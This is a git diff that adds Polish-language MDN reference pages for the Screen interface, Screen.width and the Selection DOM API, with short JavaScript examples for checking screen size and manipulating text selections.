+<h2 id="Example" name="Example">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Returns the first available pixel available from the left side of the screen.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Returns the amount of horizontal space in pixels available to the window.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Returns the color depth of the screen.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Returns the height of the screen in pixels.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Returns the distance in pixels from the left side of the main screen to the left side of the current screen.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Returns the current orientation of the screen.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Gets the bit depth of the screen.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Returns the distance in pixels from the top side of the current screen.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Returns the width of the screen.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Boolean. Setting to false will turn off the device's screen.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.</dd>
+</dl>
+
+<h3 id="Events_handler">Events handler</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>A handler for the {{event("orientationchange")}} events.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Lock the screen orientation (only works in fullscreen or for installed apps)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Unlock the screen orientation (only works in fullscreen or for installed apps)</dd>
+</dl>
+
+<p>Methods inherit from {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+ // use low-color version of page
+} else {
+ // use regular, colorful page
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>CSSOM View</p>
diff --git a/files/pl/web/api/screen/width/index.html b/files/pl/web/api/screen/width/index.html
new file mode 100644
index 0000000000..352f6cfbf3
--- /dev/null
+++ b/files/pl/web/api/screen/width/index.html
@@ -0,0 +1,108 @@
+---
+title: Screen.width
+slug: Web/API/Screen/width
+translation_of: Web/API/Screen/width
+---
+<div>
+<div>{{APIRef("CSSOM View")}}</div>
+</div>
+
+<p>Zwraca szerokość ekranu.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><var>lWidth</var> = window.screen.width
+</pre>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<pre class="brush:js">// crude way to check that the screen is at least 1024x768
+if (window.screen.width &gt;= 1024 &amp;&amp; window.screen.height &gt;= 768) {
+ // resolution is 1024x768 or above
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Note that not all of the width given by this property may be available to the window itself. When other widgets occupy space that cannot be used by the <code>window</code> object, there is a difference in <code>window.screen.width</code> and <code>window.screen.availWidth</code>. See also {{domxref("window.screen.height")}}.</p>
+
+<p>Internet Explorer will take into account the zoom setting when reporting the screen width. It will only return the real width of the screen if the zoom is set to 100%.</p>
+
+<h2 id="Specification" name="Specification">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSSOM View', '#dom-screen-width', 'Screen.width') }}</td>
+ <td>{{ Spec2('CSSOM View') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>6</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/api/selection/addrange/index.html b/files/pl/web/api/selection/addrange/index.html
new file mode 100644
index 0000000000..7827743f8e
--- /dev/null
+++ b/files/pl/web/api/selection/addrange/index.html
@@ -0,0 +1,40 @@
+---
+title: addRange
+slug: Web/API/Selection/addRange
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/addRange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Dodaje zakres do zaznaczenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.addRange(<i>range</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>range</code></i>
+ </dt>
+ <dd>
+ Obiekt <a href="pl/DOM/range">zakresu</a>, który będzie dodany do zaznaczenia.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval"> /* Wybiera wszystkie znaczniki STRONG w dokumencie HTML */
+ var strongs = document.getElementsByTagName("strong");
+ var s = window.getSelection();
+ if(s.rangeCount &gt; 0) s.removeAllRanges();
+ for(var i = 0; i &lt; strongs.length; i++) {
+ var range = document.createRange();
+ range.selectNode(strongs[i]);
+ s.addRange(range);
+ }
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/addRange", "es": "es/DOM/Selection/addRange", "it": "it/DOM/Selection/addRange" } ) }}</p>
diff --git a/files/pl/web/api/selection/anchornode/index.html b/files/pl/web/api/selection/anchornode/index.html
new file mode 100644
index 0000000000..200bccb3fa
--- /dev/null
+++ b/files/pl/web/api/selection/anchornode/index.html
@@ -0,0 +1,22 @@
+---
+title: anchorNode
+slug: Web/API/Selection/anchorNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/anchorNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca węzeł, w którym się zaczyna zaznaczenie.</p>
+<h3 id="Skladnia" name="Skladnia">Skladnia</h3>
+<pre class="eval"><i>sel</i>.anchorNode
+</pre>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Użytkownik może wykonać zaznaczenie od lewej do prawej (w bieg dokumentu) lub od prawej do lewej (odwrotnie od biegu dokumentu). Kotwica znajduje się tam, gdzie użytkownik zaczyna selekcję. Może to być widoczne, kiedy zostanie przytrzymany klawisz Shift i naciśnięte strzałki na klawiaturze. Kotwica selekcji nie zmienia swojego położenia, ale skupienie selekcji, drugi koniec selekcji, porusza się.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/anchorNode", "es": "es/DOM/Selection/anchorNode", "it": "it/DOM/Selection/anchorNode" } ) }}</p>
diff --git a/files/pl/web/api/selection/anchoroffset/index.html b/files/pl/web/api/selection/anchoroffset/index.html
new file mode 100644
index 0000000000..35a0148f6a
--- /dev/null
+++ b/files/pl/web/api/selection/anchoroffset/index.html
@@ -0,0 +1,23 @@
+---
+title: anchorOffset
+slug: Web/API/Selection/anchorOffset
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/anchorOffset
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pozycję, na której kotwica selekcji znajduje się w węźle <a href="pl/DOM/Selection/anchorNode">anchorNode</a>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.anchorOffset
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Liczenie się tej zmiennej zaczyna się od 0. Jeżeli selekcja zaczyna się w pierwszym znaku <a href="pl/DOM/Selection/anchorNode">anchorNode</a>, zwracane jest 0.</p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/anchorOffset", "es": "es/DOM/Selection/anchorOffset", "it": "it/DOM/Selection/anchorOffset" } ) }}</p>
diff --git a/files/pl/web/api/selection/collapse/index.html b/files/pl/web/api/selection/collapse/index.html
new file mode 100644
index 0000000000..fec80daf7e
--- /dev/null
+++ b/files/pl/web/api/selection/collapse/index.html
@@ -0,0 +1,45 @@
+---
+title: collapse
+slug: Web/API/Selection/collapse
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/collapse
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zawęża aktualne zaznaczenie w pojedynczy punkt. Dokument nie jest modyfikowany. Jeżeli treść jest edytowalna i aktywna, przeniesie się tam kursor.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.collapse(<i>parentNode</i>,<i>offset</i>);
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>parentNode</code></i>
+ </dt>
+ <dd>
+ Kursor znajdzie się w tym węźle.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>offset</code></i>
+ </dt>
+ <dd>
+ Kursor zostanie umieszczony w tej odległości od początku węzła tekstowego
+ <i>
+ <code>parentNode</code></i>
+ .</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">/* Umieszcza kursor na początku ciała dokumentu HTML. */
+var body = document.getElementsByTagName("body")[0];
+window.getSelection().collapse(body,0);
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/collapse", "es": "es/DOM/Selection/collapse", "it": "it/DOM/Selection/collapse" } ) }}</p>
diff --git a/files/pl/web/api/selection/collapsetoend/index.html b/files/pl/web/api/selection/collapsetoend/index.html
new file mode 100644
index 0000000000..e7897ea59a
--- /dev/null
+++ b/files/pl/web/api/selection/collapsetoend/index.html
@@ -0,0 +1,22 @@
+---
+title: collapseToEnd
+slug: Web/API/Selection/collapseToEnd
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/collapseToEnd
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przesuwa kotwicę zaznaczenia do pozycji, w której znajduje się skupienie. Samo skupienie nie zmienia swojego położenia. Jeżeli treść jest aktywna i edytowalna, pojawi się tam kursor.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.collapseToEnd()
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<p>Brak.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/collapseToEnd", "es": "es/DOM/Selection/collapseToEnd", "it": "it/DOM/Selection/collapseToEnd" } ) }}</p>
diff --git a/files/pl/web/api/selection/collapsetostart/index.html b/files/pl/web/api/selection/collapsetostart/index.html
new file mode 100644
index 0000000000..0dfdc92468
--- /dev/null
+++ b/files/pl/web/api/selection/collapsetostart/index.html
@@ -0,0 +1,22 @@
+---
+title: collapseToStart
+slug: Web/API/Selection/collapseToStart
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/collapseToStart
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przesuwa skupienie zaznaczenia do położenia kotwicy. Sama kotwica nie zmienia swojego położenia. Jeżeli treść jest aktywna i edytowalna, przeniesie się tam kursor.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.collapseToStart()
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<p>Brak.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/collapseToStart", "es": "es/DOM/Selection/collapseToStart", "it": "it/DOM/Selection/collapseToStart" } ) }}</p>
diff --git a/files/pl/web/api/selection/containsnode/index.html b/files/pl/web/api/selection/containsnode/index.html
new file mode 100644
index 0000000000..c73f0ae763
--- /dev/null
+++ b/files/pl/web/api/selection/containsnode/index.html
@@ -0,0 +1,47 @@
+---
+title: containsNode
+slug: Web/API/Selection/containsNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/containsNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Sprawdza czy węzeł jest częścią zaznaczenia.</p>
+<h3 id="Sk.C5.82adania" name="Sk.C5.82adania">Składania</h3>
+<pre class="eval"><i>sel</i>.containsNode(<i>aNode</i>,<i>aPartlyContained</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>aNode</code></i>
+ </dt>
+ <dd>
+ Węzeł, którego obecność sprawdzamy.</dd>
+ <dt>
+ <i>
+ <code>aPartlyContained</code></i>
+ </dt>
+ <dd>
+ Kiedy jej wartością jest
+ <i>
+ true</i>
+ , <code>containsNode</code> zwraca wartość true kiedy część węzła jest częścią zaznaczenia.</dd>
+ <dd>
+ Kiedy jej wartością jest
+ <i>
+ false</i>
+ , <code>containsNode</code> zwraca wartość true tylko i wyłącznie, gdy cały węzeł jest częścią zaznaczenia.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval"> /* Sprawdza czy cokolwiek wewnątrz elementu body jest zaznaczone */
+ alert(window.getSelection().containsNode(document.body, true));
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/containsNode", "es": "es/DOM/Selection/containsNode", "it": "it/DOM/Selection/containsNode" } ) }}</p>
diff --git a/files/pl/web/api/selection/deletefromdocument/index.html b/files/pl/web/api/selection/deletefromdocument/index.html
new file mode 100644
index 0000000000..7cc9727ebc
--- /dev/null
+++ b/files/pl/web/api/selection/deletefromdocument/index.html
@@ -0,0 +1,24 @@
+---
+title: deleteFromDocument
+slug: Web/API/Selection/deleteFromDocument
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/deleteFromDocument
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Usuwa rzeczywisty tekst będący reprezentacją zaznaczenia z DOM dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.deleteFromDocument()
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<p>Brak.</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<p>Użytkownik na stronie internetowej zaznacza tekst "mają dwoje" ze zdania "Króliki mają dwoje uszu". Następnie klika na przycisk, który wywołuje kod JavaScript <code>window.getSelection().deleteFromDocument()</code>. Tekst dokumentu staje się zdaniem "Króliki uszu".</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/deleteFromDocument", "es": "es/DOM/Selection/deleteFromDocument", "it": "it/DOM/Selection/deleteFromDocument" } ) }}</p>
diff --git a/files/pl/web/api/selection/extend/index.html b/files/pl/web/api/selection/extend/index.html
new file mode 100644
index 0000000000..fbec1f5eb5
--- /dev/null
+++ b/files/pl/web/api/selection/extend/index.html
@@ -0,0 +1,40 @@
+---
+title: extend
+slug: Web/API/Selection/extend
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/extend
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przemieszcza skupienie zaznaczenia do podanego miejsca. Kotwica zaznaczenia nie zmienia swojego położenia. Zaznaczenie będzie miało koniec w nowym miejscu skupienia bez względu na kierunek zaznaczania.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.extend(<i>parentNode</i>,<i>offset</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>parentNode</code></i>
+ </dt>
+ <dd>
+ Węzeł, w którym skupienie zmieni swoje położenie.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>offset</code></i>
+ </dt>
+ <dd>
+ Pozycja od początku węzła tekstowego
+ <i>
+ <code>parentNode</code></i>
+ , gdzie zostanie umieszczone skupienie.</dd>
+</dl>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/extend", "es": "es/DOM/Selection/extend", "it": "it/DOM/Selection/extend" } ) }}</p>
diff --git a/files/pl/web/api/selection/focusnode/index.html b/files/pl/web/api/selection/focusnode/index.html
new file mode 100644
index 0000000000..e59310d0f1
--- /dev/null
+++ b/files/pl/web/api/selection/focusnode/index.html
@@ -0,0 +1,21 @@
+---
+title: focusNode
+slug: Web/API/Selection/focusNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/focusNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca węzeł, w którym selekcja się kończy.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.focusNode
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Użytkownik może wykonać zaznaczenie od lewej do prawej (w bieg dokumentu) lub od prawej do lewej (odwrotnie od biegu dokumentu). Skupienie znajduje się tam, gdzie użytkownik kończy selekcję. Może to być widoczne, kiedy zostanie przytrzymany klawisz Shift i naciśnięte strzałki na klawiaturze. Skupienie selekcji zmienia swoje położenie, a skupienie selekcji, drugi koniec selekcji, nie.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/focusNode", "es": "es/DOM/Selection/focusNode", "it": "it/DOM/Selection/focusNode" } ) }}</p>
diff --git a/files/pl/web/api/selection/focusoffset/index.html b/files/pl/web/api/selection/focusoffset/index.html
new file mode 100644
index 0000000000..cba7b76783
--- /dev/null
+++ b/files/pl/web/api/selection/focusoffset/index.html
@@ -0,0 +1,22 @@
+---
+title: focusOffset
+slug: Web/API/Selection/focusOffset
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/focusOffset
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pozycję, na której skupienie selekcji znajduje się w węźle <a href="pl/DOM/Selection/focusNode">focusNode</a>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.focusOffset
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Liczenie się tej zmiennej zaczyna się od 0. Jeżeli selekcja kończy się z pierwszym znakiem <a href="pl/DOM/Selection/anchorNode">anchorNode</a>, zwracane jest 0.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/focusOffset", "es": "es/DOM/Selection/focusOffset", "it": "it/DOM/Selection/focusOffset" } ) }}</p>
diff --git a/files/pl/web/api/selection/getrangeat/index.html b/files/pl/web/api/selection/getrangeat/index.html
new file mode 100644
index 0000000000..ff4b2c962b
--- /dev/null
+++ b/files/pl/web/api/selection/getrangeat/index.html
@@ -0,0 +1,44 @@
+---
+title: getRangeAt
+slug: Web/API/Selection/getRangeAt
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/getRangeAt
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt zakresu reprezentujący jeden z obecnie zaznaczonych zakresów.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>range</i> =<i>sel</i>.getRangeAt(<i>index</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>range</code></i>
+ </dt>
+ <dd>
+ Obiekt <a href="pl/DOM/range">zakresu</a>, który zostanie zwrócony.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>index</code></i>
+ </dt>
+ <dd>
+ Wartość liczbowa liczona od zera. Wartość ujemna, równa albo większa od <a href="pl/DOM/Selection/rangeCount">rangeCount</a> spowoduje wystąpienie błędu.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">ranges = [];
+sel = window.getSelection();
+for(var i = 0; i &lt; sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Każdy element w tablicy zakresów jest teraz
+ * obiektem zakresu reprezentującym jeden z
+ * zakresów w aktualnym zaznaczeniu */
+</pre>
+<p>{{ languages( { "en": "en/DOM/Selection/getRangeAt", "es": "es/DOM/Selection/getRangeAt" } ) }}</p>
diff --git a/files/pl/web/api/selection/index.html b/files/pl/web/api/selection/index.html
new file mode 100644
index 0000000000..83e76ccfa9
--- /dev/null
+++ b/files/pl/web/api/selection/index.html
@@ -0,0 +1,100 @@
+---
+title: Selection
+slug: Web/API/Selection
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection
+---
+<p>{{ ApiRef("DOM") }}{{SeeCompatTable}}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Klasa obiektu zwracanego przez <code><a href="pl/DOM/window.getSelection"> window.getSelection()</a></code> i inne metody.</p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Obiekt reprezentujący <a href="pl/DOM/range">zakresy</a>, które zaznaczył użytkownik. Zazwyczaj przechowuje tylko jeden zakres, który pobieramy następująco:</p>
+
+<pre class="eval">range = sel.getRangeAt(0);
+</pre>
+
+<p>Wywołanie metody <code><a href="pl/DOM/Selection/toString">toString()</a></code> zwróci tekst znajdujący się wewnątrz zaznaczenia, na przykład:</p>
+
+<pre class="eval">selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<h3 id="S.C5.82ownik" name="S.C5.82ownik">Słownik</h3>
+
+<p>Inne kluczowe pojęcia używane w tym dziale.</p>
+
+<dl>
+ <dt>kotwica (anchor)</dt>
+ <dd>Kotwicą zaznaczenia jest jego właściwy początek. Kiedy tworzymy zaznaczenie przy użyciu myszki, kotwica w dokumencie znajduje się dokładnie tam, gdzie początkowo został wciśnięty przycisk myszki. Gdy użytkownik zmienia zaznaczenie używając myszki lub klawiatury, kotwica nie zmienia swego położenia.</dd>
+ <dt>skupienie (focus)</dt>
+ <dd>Skupieniem zaznaczenia jest jego właściwy koniec. Kiedy tworzymy zaznaczenie przy użyciu myszki, jej skupienie jest dokładnie tam, gdzie przycisk myszki zostaje zwolniony. Gdy użytkownik zmienia zaznaczenie używając myszki lub klawiatury, skupienie zmienia swe położenie na koniec tego zaznaczenia.</dd>
+ <dt>zakres (range)</dt>
+ <dd>Zakres to przyległa część dokumentu. Zakres może zawierać zarówno całe węzły, jak i ich części, jak np. wycinek węzła tekstowego. Użytkownik zazwyczaj wybiera tylko jedno zaznaczenie w danej chwili, jednak możliwe jest zaznaczenie kilku fragmentów na raz (na przykład używając klawisza Control). Zakres może być pobrany z zaznaczenia jako obiekt <a href="pl/DOM/range">zakresu</a>. Obiekty zakresów mogą być również utworzone poprzez DOM i programowo dodane lub usunięte z zaznaczenia.</dd>
+</dl>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/Selection/anchorNode">anchorNode</a></dt>
+ <dd>Zwraca węzeł, w którym rozpoczyna się zaznaczenie.</dd>
+ <dt><a href="pl/DOM/Selection/anchorOffset">anchorOffset</a></dt>
+ <dd>Zwraca pozycję, gdzie kotwica zaznaczenia znajduje się w węźle <code>anchorNode</code>.</dd>
+ <dt><a href="pl/DOM/Selection/focusNode">focusNode</a></dt>
+ <dd>Zwraca węzeł, w którym kończy się zaznaczenie.</dd>
+ <dt><a href="pl/DOM/Selection/focusOffset">focusOffset</a></dt>
+ <dd>Zwraca pozycję, gdzie skupienie zaznaczenia znajduje się w węźle <code>focusNode</code></dd>
+ <dt><a href="pl/DOM/Selection/isCollapsed">isCollapsed</a></dt>
+ <dd>Zwraca wartość logiczną wskazującą czy początek zaznaczenia znajduje się w tym samym miejscu, co jego koniec.</dd>
+ <dt><a href="pl/DOM/Selection/rangeCount">rangeCount</a></dt>
+ <dd>Zwraca liczbę zakresów znajdujących się w zaznaczeniu.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="pl/DOM/Selection/getRangeAt">getRangeAt</a></dt>
+ <dd>Zwraca obiekt zakresu reprezentujący jeden z obecnie zaznaczonych zakresów.</dd>
+ <dt><a href="pl/DOM/Selection/collapse">collapse</a></dt>
+ <dd>Zawęża aktualne zaznaczenie do pojedynczego punktu.</dd>
+ <dt><a href="pl/DOM/Selection/extend">extend</a></dt>
+ <dd>Przesuwa koniec zaznaczenia do podanego punktu.</dd>
+ <dt><a href="pl/DOM/Selection/collapseToStart">collapseToStart</a></dt>
+ <dd>Przesuwa koniec zaznaczenia do tego samego miejsca, w którym znajduje się początek.</dd>
+ <dt><a href="pl/DOM/Selection/collapseToEnd">collapseToEnd</a></dt>
+ <dd>Przesuwa początek zaznaczenia do tego samego miejsca, w którym znajduje się koniec. Sam koniec zaznaczenia nie zmienia swojego położenia.</dd>
+ <dt><a href="pl/DOM/Selection/selectAllChildren">selectAllChildren</a></dt>
+ <dd>Dodaje wszystkie dzieci podanego węzła do zaznaczenia.</dd>
+ <dt><a href="pl/DOM/Selection/addRange">addRange</a></dt>
+ <dd>Obiekt zakresu, który zostanie dodany do zaznaczenia.</dd>
+ <dt><a href="pl/DOM/Selection/removeRange">removeRange</a></dt>
+ <dd>Usuwa zakres z zaznaczenia</dd>
+ <dt><a href="pl/DOM/Selection/removeAllRanges">removeAllRanges</a></dt>
+ <dd>Usuwa wszystkie zakresy z zaznaczenia.</dd>
+ <dt><a href="pl/DOM/Selection/deleteFromDocument">deleteFromDocument</a></dt>
+ <dd>Usuwa zawartość zaznaczenia z dokumentu.</dd>
+ <dt><a href="pl/DOM/Selection/selectionLanguageChange">selectionLanguageChange</a></dt>
+ <dd> </dd>
